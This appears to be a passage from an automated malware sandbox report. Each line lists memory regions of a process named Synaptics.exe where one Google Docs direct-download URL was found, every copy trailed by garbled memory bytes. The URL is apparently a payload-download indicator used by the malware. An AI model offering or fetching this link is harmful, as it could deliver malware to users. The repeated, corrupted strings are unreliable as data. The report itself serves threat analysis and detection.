Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg)
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg):%
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl5#
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadglA=Nm
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3089159743.0000000007F93000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3143194864.00000000353FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh#
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-ua
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhC
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi3im
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadini=
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadint1
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadintN
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiw
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyLE
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.1
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.AA
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.k
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor3
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyorDl
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyorE
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyorNP
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyord
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyorkm
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj%
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjone
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkI-
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkt
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007DC0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle$H
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle01
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle8L
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleJ
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadledO
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlehI
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemePP
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemeW
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemej
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyC
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyF
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll-vQBDlo
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllHD
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllLH
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemGm
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeFQ
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeK
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeQ
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeVS
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemef_0ne
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeu
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlsG
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.hF
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmLml
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmePH
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeXN
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmelG
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn)
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.X1
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnK(b2
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna42
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadname
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnameVB
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncelSQ
